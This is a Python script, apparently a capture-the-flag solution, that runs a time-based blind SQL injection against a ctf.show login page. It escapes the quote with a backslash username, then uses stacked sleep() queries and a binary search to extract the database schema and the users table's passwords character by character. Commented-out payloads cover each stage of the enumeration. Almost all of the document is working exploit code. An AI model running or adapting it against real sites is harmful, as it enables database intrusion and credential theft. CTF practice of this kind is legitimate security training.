1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| import requests
import time
url = "http://1655fbe1-c591-43ac-b04e-6250ae9488e3.challenge.ctf.show/login.php"
target = ""
i = 0
right_time = 2
while True:
i += 1
head = 32
tail = 127
while head + 1 < tail:
mid = (head + tail) >> 1
# payload="';select if((ascii(substr((select database()),{0},1)))<{1},sleep(3),0)#".format(i,mid)
# ctfshow_page_informations
# payload = "';select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},sleep(3),0)#".format(
# i, mid)
# pages,users
# payload = "';select if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{0},1)))<{1},sleep(3),0)#".format(
# i, mid)
# id,username,password
payload = "';select if((ascii(substr((select password from users),{0},1)))<{1},sleep(5),0)#".format(
i, mid)
# payload = "';select if((ascii(substr((select version()),{0},1)))<{1},sleep(5),0)#".format(
# i, mid)
# 10.3.18-MariaDB
print(payload)
data = {
"username": '\\',
"password": payload
}
start_time = time.time()
r = requests.post(url, data)
last_time = time.time() - start_time
if last_time > right_time:
tail = mid
# print("right")
else:
head = mid
# print("wrong")
if head != 32:
target += chr(head)
print(target)
else:
break
print(target)
|